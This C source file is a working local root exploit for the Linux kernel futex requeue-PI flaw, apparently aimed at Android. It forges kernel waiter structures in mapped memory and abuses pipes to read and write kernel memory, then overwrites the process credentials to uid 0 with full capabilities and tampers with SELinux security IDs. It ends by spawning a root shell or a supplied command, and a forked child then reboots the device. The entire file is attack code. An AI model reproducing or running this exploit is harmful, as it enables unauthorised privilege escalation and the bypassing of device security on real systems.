#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>

#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12

#define ARRAY_SIZE(a)		(sizeof (a) / sizeof (*(a)))

#define KERNEL_START		0xc0000000

#define LOCAL_PORT		5551

struct thread_info;
struct task_struct;
struct cred;
struct kernel_cap_struct;
struct task_security_struct;
struct list_head;

struct thread_info {
	unsigned long flags;
	int preempt_count;
	unsigned long addr_limit;
	struct task_struct *task;

	/* ... */
};

struct kernel_cap_struct {
	unsigned long cap[2];
};

struct cred {
	unsigned long usage;
	uid_t uid;
	gid_t gid;
	uid_t suid;
	gid_t sgid;
	uid_t euid;
	gid_t egid;
	uid_t fsuid;
	gid_t fsgid;
	unsigned long securebits;
	struct kernel_cap_struct cap_inheritable;
	struct kernel_cap_struct cap_permitted;
	struct kernel_cap_struct cap_effective;
	struct kernel_cap_struct cap_bset;
	unsigned char jit_keyring;
	void *thread_keyring;
	void *request_key_auth;
	void *tgcred;
	struct task_security_struct *security;

	/* ... */
};

struct list_head {
	struct list_head *next;
	struct list_head *prev;
};

struct task_security_struct {
	unsigned long osid;
	unsigned long sid;
	unsigned long exec_sid;
	unsigned long create_sid;
	unsigned long keycreate_sid;
	unsigned long sockcreate_sid;
};


struct task_struct_partial {
	struct list_head cpu_timers[3];
	struct cred *real_cred;
	struct cred *cred;
	struct cred *replacement_session_keyring;
	char comm[16];
};


struct mmsghdr {
	struct msghdr msg_hdr;
	unsigned int  msg_len;
};

//bss
int uaddr1 = 0;
int uaddr2 = 0;
struct thread_info *HACKS_final_stack_base = NULL;
pid_t waiter_thread_tid;
pthread_mutex_t done_lock;
pthread_cond_t done;
pthread_mutex_t is_thread_desched_lock;
pthread_cond_t is_thread_desched;
volatile int do_socket_tid_read = 0;
volatile int did_socket_tid_read = 0;
volatile int do_splice_tid_read = 0;
volatile int did_splice_tid_read = 0;
volatile int do_dm_tid_read = 0;
volatile int did_dm_tid_read = 0;
pthread_mutex_t is_thread_awake_lock;
pthread_cond_t is_thread_awake;
int HACKS_fdm = 0;
unsigned long MAGIC = 0;
unsigned long MAGIC_ALT = 0;
pthread_mutex_t *is_kernel_writing;
pid_t last_tid = 0;
int g_argc;
char rootcmd[2048] = "";


ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
	int pipefd[2];
	ssize_t len;

	pipe(pipefd);

	len = write(pipefd[1], writebuf, count);

	if (len != count) {
		printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
		while (1) {
			sleep(10);
		}
	}

	read(pipefd[0], readbuf, count);

	close(pipefd[0]);
	close(pipefd[1]);

	return len;
}

ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
	int pipefd[2];
	ssize_t len;

	pipe(pipefd);

	write(pipefd[1], writebuf, count);
	len = read(pipefd[0], readbuf, count);

	if (len != count) {
		printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
		while (1) {
			sleep(10);
		}
	}

	close(pipefd[0]);
	close(pipefd[1]);

	return len;
}

void write_kernel(int signum)
{
	struct thread_info stackbuf;
	unsigned long taskbuf[0x100];
	struct cred *cred;
	struct cred credbuf;
	struct task_security_struct *security;
	struct task_security_struct securitybuf;
	pid_t pid;
	int i;
	int ret;
	FILE *fp;

	pthread_mutex_lock(&is_thread_awake_lock);
	pthread_cond_signal(&is_thread_awake);
	pthread_mutex_unlock(&is_thread_awake_lock);

	if (HACKS_final_stack_base == NULL) {
		static unsigned long new_addr_limit = 0xffffffff;
		char *slavename;
		int pipefd[2];
		char readbuf[0x100];

		printf("cpid1 resumed\n");

		pthread_mutex_lock(is_kernel_writing);

		HACKS_fdm = open("/dev/ptmx", O_RDWR);
		unlockpt(HACKS_fdm);
		slavename = ptsname(HACKS_fdm);

		open(slavename, O_RDWR);

		do_splice_tid_read = 1;
		while (1) {
			if (did_splice_tid_read != 0) {
				break;
			}
		}

		read(HACKS_fdm, readbuf, sizeof readbuf);

		printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit);

		write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);

		pthread_mutex_unlock(is_kernel_writing);

		while (1) {
			sleep(10);
		}
	}

	printf("cpid3 resumed.\n");

	pthread_mutex_lock(is_kernel_writing);

	printf("hack.\n");

	read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
	read_pipe(stackbuf.task, taskbuf, sizeof taskbuf);

	cred = NULL;
	security = NULL;
	pid = 0;

	for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
		struct task_struct_partial *task = (void *)&taskbuf[i];


		if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
		 && task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
		 && task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
		 && task->real_cred == task->cred) {
			cred = task->cred;
			break;
		}
	}

	read_pipe(cred, &credbuf, sizeof credbuf);

	security = credbuf.security;

	if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
		read_pipe(security, &securitybuf, sizeof securitybuf);

		if (securitybuf.osid != 0
		 && securitybuf.sid != 0
		 && securitybuf.exec_sid == 0
		 && securitybuf.create_sid == 0
		 && securitybuf.keycreate_sid == 0
		 && securitybuf.sockcreate_sid == 0) {
			securitybuf.osid = 1;
			securitybuf.sid = 1;

			printf("task_security_struct: %p\n", security);

			write_pipe(security, &securitybuf, sizeof securitybuf);
		}
	}

	credbuf.uid = 0;
	credbuf.gid = 0;
	credbuf.suid = 0;
	credbuf.sgid = 0;
	credbuf.euid = 0;
	credbuf.egid = 0;
	credbuf.fsuid = 0;
	credbuf.fsgid = 0;

	credbuf.cap_inheritable.cap[0] = 0xffffffff;
	credbuf.cap_inheritable.cap[1] = 0xffffffff;
	credbuf.cap_permitted.cap[0] = 0xffffffff;
	credbuf.cap_permitted.cap[1] = 0xffffffff;
	credbuf.cap_effective.cap[0] = 0xffffffff;
	credbuf.cap_effective.cap[1] = 0xffffffff;
	credbuf.cap_bset.cap[0] = 0xffffffff;
	credbuf.cap_bset.cap[1] = 0xffffffff;

	write_pipe(cred, &credbuf, sizeof credbuf);

	pid = syscall(__NR_gettid);

	for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
		static unsigned long write_value = 1;

		if (taskbuf[i] == pid) {
			write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);

			if (getuid() != 0) {
				printf("ROOT FAILED\n");
				while (1) {
					sleep(10);
				}
			} else {	//rooted
				break;
			}
		}
	}

	sleep(1);

	if (g_argc >= 2) {
		system(rootcmd);
	} else {
		system("/system/bin/sh -i");
	}

	system("/system/bin/touch /dev/rooted");

	pid = fork();
	if (pid == 0) {
		while (1) {
			ret = access("/dev/rooted", F_OK);
			if (ret >= 0) {
				break;
			}
		}

		printf("wait 10 seconds...\n");
		sleep(10);

		printf("rebooting...\n");
		sleep(1);
		system("reboot");

		while (1) {
			sleep(10);
		}
	}

	pthread_mutex_lock(&done_lock);
	pthread_cond_signal(&done);
	pthread_mutex_unlock(&done_lock);

	while (1) {
		sleep(10);
	}

	return;
}

void *make_action(void *arg) {
	int prio;
	struct sigaction act;
	int ret;

	prio = (int)arg;
	last_tid = syscall(__NR_gettid);

	pthread_mutex_lock(&is_thread_desched_lock);
	pthread_cond_signal(&is_thread_desched);

	act.sa_handler = write_kernel;
	act.sa_mask = 0;
	act.sa_flags = 0;
	act.sa_restorer = NULL;
	sigaction(12, &act, NULL);

	setpriority(PRIO_PROCESS, 0, prio);

	pthread_mutex_unlock(&is_thread_desched_lock);

	do_dm_tid_read = 1;

	while (did_dm_tid_read == 0) {
		;
	}

	ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
	printf("futex dm: %d\n", ret);

	while (1) {
		sleep(10);
	}

	return NULL;
}

pid_t wake_actionthread(int prio) {
	pthread_t th4;
	pid_t pid;
	char filename[256];
	FILE *fp;
	char filebuf[0x1000];
	char *pdest;
	int vcscnt, vcscnt2;

	do_dm_tid_read = 0;
	did_dm_tid_read = 0;

	pthread_mutex_lock(&is_thread_desched_lock);
	pthread_create(&th4, 0, make_action, (void *)prio);
	pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);

	pid = last_tid;

	sprintf(filename, "/proc/self/task/%d/status", pid);

	fp = fopen(filename, "rb");
	if (fp == 0) {
		vcscnt = -1;
	}
	else {
		fread(filebuf, 1, sizeof filebuf, fp);
		pdest = strstr(filebuf, "voluntary_ctxt_switches");
		pdest += 0x19;
		vcscnt = atoi(pdest);
		fclose(fp);
	}

	while (do_dm_tid_read == 0) {
		usleep(10);
	}

	did_dm_tid_read = 1;

	while (1) {
		sprintf(filename, "/proc/self/task/%d/status", pid);
		fp = fopen(filename, "rb");
		if (fp == 0) {
			vcscnt2 = -1;
		}
		else {
			fread(filebuf, 1, sizeof filebuf, fp);
			pdest = strstr(filebuf, "voluntary_ctxt_switches");
			pdest += 0x19;
			vcscnt2 = atoi(pdest);
			fclose(fp);
		}

		if (vcscnt2 == vcscnt + 1) {
			break;
		}
		usleep(10);

	}

	pthread_mutex_unlock(&is_thread_desched_lock);

	return pid;
}

int make_socket() {
	int sockfd;
	struct sockaddr_in addr = {0};
	int ret;
	int sock_buf_size;

	sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
	if (sockfd < 0) {
		printf("socket failed.\n");
		usleep(10);
	} else {
		addr.sin_family = AF_INET;
		addr.sin_port = htons(LOCAL_PORT);
		addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	}

	while (1) {
		ret = connect(sockfd, (struct sockaddr *)&addr, 16);
		if (ret >= 0) {
			break;
		}
		usleep(10);
	}

	sock_buf_size = 1;
	setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));

	return sockfd;
}

void *send_magicmsg(void *arg) {
	int sockfd;
	struct mmsghdr msgvec[1];
	struct iovec msg_iov[8];
	unsigned long databuf[0x20];
	int i;
	int ret;

	waiter_thread_tid = syscall(__NR_gettid);
	setpriority(PRIO_PROCESS, 0, 12);

	sockfd = make_socket();

	for (i = 0; i < ARRAY_SIZE(databuf); i++) {
		databuf[i] = MAGIC;
	}

	for (i = 0; i < 8; i++) {
		msg_iov[i].iov_base = (void *)MAGIC;
		msg_iov[i].iov_len = 0x10;
	}

	msgvec[0].msg_hdr.msg_name = databuf;
	msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
	msgvec[0].msg_hdr.msg_iov = msg_iov;
	msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
	msgvec[0].msg_hdr.msg_control = databuf;
	msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
	msgvec[0].msg_hdr.msg_flags = 0;
	msgvec[0].msg_len = 0;

	syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0);

	do_socket_tid_read = 1;

	while (1) {
		if (did_socket_tid_read != 0) {
			break;
		}
	}

	ret = 0;

	while (1) {
		ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
		if (ret <= 0) {
			break;
		}
	}

	if (ret < 0) {
		perror("SOCKSHIT");
	}
	printf("EXIT WTF\n");
	while (1) {
		sleep(10);
	}

	return NULL;
}

static inline setup_exploit(unsigned long mem)
{
	*((unsigned long *)(mem - 0x04)) = 0x81;
	*((unsigned long *)(mem + 0x00)) = mem + 0x20;
	*((unsigned long *)(mem + 0x08)) = mem + 0x28;
	*((unsigned long *)(mem + 0x1c)) = 0x85;
	*((unsigned long *)(mem + 0x24)) = mem;
	*((unsigned long *)(mem + 0x2c)) = mem + 8;
}

void *search_goodnum(void *arg) {
	int ret;
	char filename[256];
	FILE *fp;
	char filebuf[0x1000];
	char *pdest;
	int vcscnt, vcscnt2;
	unsigned long magicval;
	pid_t pid;
	unsigned long goodval, goodval2;
	unsigned long addr, setaddr;
	int i;
	char buf[0x1000];

	syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);

	while (1) {
		ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1);
		if (ret == 1) {
			break;
		}
		usleep(10);
	}

	wake_actionthread(6);
	wake_actionthread(7);

	uaddr2 = 0;
	do_socket_tid_read = 0;
	did_socket_tid_read = 0;

	syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);

	while (1) {
		if (do_socket_tid_read != 0) {
			break;
		}
	}

	sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);

	fp = fopen(filename, "rb");
	if (fp == 0) {
		vcscnt = -1;
	}
	else {
		fread(filebuf, 1, sizeof filebuf, fp);
		pdest = strstr(filebuf, "voluntary_ctxt_switches");
		pdest += 0x19;
		vcscnt = atoi(pdest);
		fclose(fp);
	}

	did_socket_tid_read = 1;

	while (1) {
		sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
		fp = fopen(filename, "rb");
		if (fp == 0) {
			vcscnt2 = -1;
		}
		else {
			fread(filebuf, 1, sizeof filebuf, fp);
			pdest = strstr(filebuf, "voluntary_ctxt_switches");
			pdest += 0x19;
			vcscnt2 = atoi(pdest);
			fclose(fp);
		}

		if (vcscnt2 == vcscnt + 1) {
			break;
		}
		usleep(10);
	}

	printf("starting the dangerous things\n");

	setup_exploit(MAGIC_ALT);
	setup_exploit(MAGIC);

	magicval = *((unsigned long *)MAGIC);

	wake_actionthread(11);

	if (*((unsigned long *)MAGIC) == magicval) {
		printf("using MAGIC_ALT.\n");
		MAGIC = MAGIC_ALT;
	}

	while (1) {
		is_kernel_writing = (pthread_mutex_t *)malloc(4);
		pthread_mutex_init(is_kernel_writing, NULL);

		setup_exploit(MAGIC);

		pid = wake_actionthread(11);

		goodval = *((unsigned long *)MAGIC) & 0xffffe000;

		printf("%p is a good number\n", (void *)goodval);

		do_splice_tid_read = 0;
		did_splice_tid_read = 0;

		pthread_mutex_lock(&is_thread_awake_lock);

		kill(pid, 12);

		pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
		pthread_mutex_unlock(&is_thread_awake_lock);

		while (1) {
			if (do_splice_tid_read != 0) {
				break;
			}
			usleep(10);
		}

		sprintf(filename, "/proc/self/task/%d/status", pid);
		fp = fopen(filename, "rb");
		if (fp == 0) {
			vcscnt = -1;
		}
		else {
			fread(filebuf, 1, sizeof filebuf, fp);
			pdest = strstr(filebuf, "voluntary_ctxt_switches");
			pdest += 0x19;
			vcscnt = atoi(pdest);
			fclose(fp);
		}

		did_splice_tid_read = 1;

		while (1) {
			sprintf(filename, "/proc/self/task/%d/status", pid);
			fp = fopen(filename, "rb");
			if (fp == 0) {
				vcscnt2 = -1;
			}
			else {
				fread(filebuf, 1, sizeof filebuf, fp);
				pdest = strstr(filebuf, "voluntary_ctxt_switches");
				pdest += 19;
				vcscnt2 = atoi(pdest);
				fclose(fp);
			}

			if (vcscnt2 != vcscnt + 1) {
				break;
			}
			usleep(10);
		}

		goodval2 = 0;

		setup_exploit(MAGIC);

		*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;

		wake_actionthread(12);
		goodval2 = *((unsigned long *)(MAGIC + 0x24));

		printf("%p is also a good number.\n", (void *)goodval2);

		for (i = 0; i < 9; i++) {
			setup_exploit(MAGIC);

			pid = wake_actionthread(10);

			if (*((unsigned long *)MAGIC) < goodval2) {
				HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000);

				pthread_mutex_lock(&is_thread_awake_lock);

				kill(pid, 12);

				pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
				pthread_mutex_unlock(&is_thread_awake_lock);

				printf("GOING\n");

				write(HACKS_fdm, buf, sizeof buf);

				while (1) {
					sleep(10);
				}
			}

		}
	}

	return NULL;
}

void *accept_socket(void *arg) {
	int sockfd;
	int yes;
	struct sockaddr_in addr = {0};
	int ret;

	sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);

	yes = 1;
	setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));

	addr.sin_family = AF_INET;
	addr.sin_port = htons(LOCAL_PORT);
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));

	listen(sockfd, 1);

	while(1) {
		ret = accept(sockfd, NULL, NULL);
		if (ret < 0) {
			printf("**** SOCK_PROC failed ****\n");
			while(1) {
				sleep(10);
			}
		} else {
			printf("i have a client like hookers.\n");
		}
	}

	return NULL;
}

void init_exploit() {
	unsigned long addr;
	pthread_t th1, th2, th3;

	printf("running with pid %d\n", getpid());

	pthread_create(&th1, NULL, accept_socket, NULL);

	addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
	addr += 0x800;
	MAGIC = addr;
	if ((long)addr >= 0) {
		printf("first mmap failed?\n");
		while (1) {
			sleep(10);
		}
	}

	addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
	addr += 0x800;
	MAGIC_ALT = addr;
	if (addr > 0x110000) {
		printf("second mmap failed?\n");
		while (1) {
			sleep(10);
		}
	}

	pthread_mutex_lock(&done_lock);
	pthread_create(&th2, NULL, search_goodnum, NULL);
	pthread_create(&th3, NULL, send_magicmsg, NULL);
	pthread_cond_wait(&done, &done_lock);
}

int main(int argc, char **argv) {
	g_argc = argc;

	if (argc >= 2) {
		strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1);
		int i;
		for (i=1;i<argc;i++) {
			strlcat(rootcmd, argv[i], sizeof(rootcmd) - 1);
			strlcat(rootcmd, " ", sizeof(rootcmd) - 1);
		}
		strlcat(rootcmd, "'", sizeof(rootcmd) - 1);
	}

	init_exploit();

	printf("Finished, looping.\n");

	while (1) {
		sleep(10);
	}

	return 0;
}

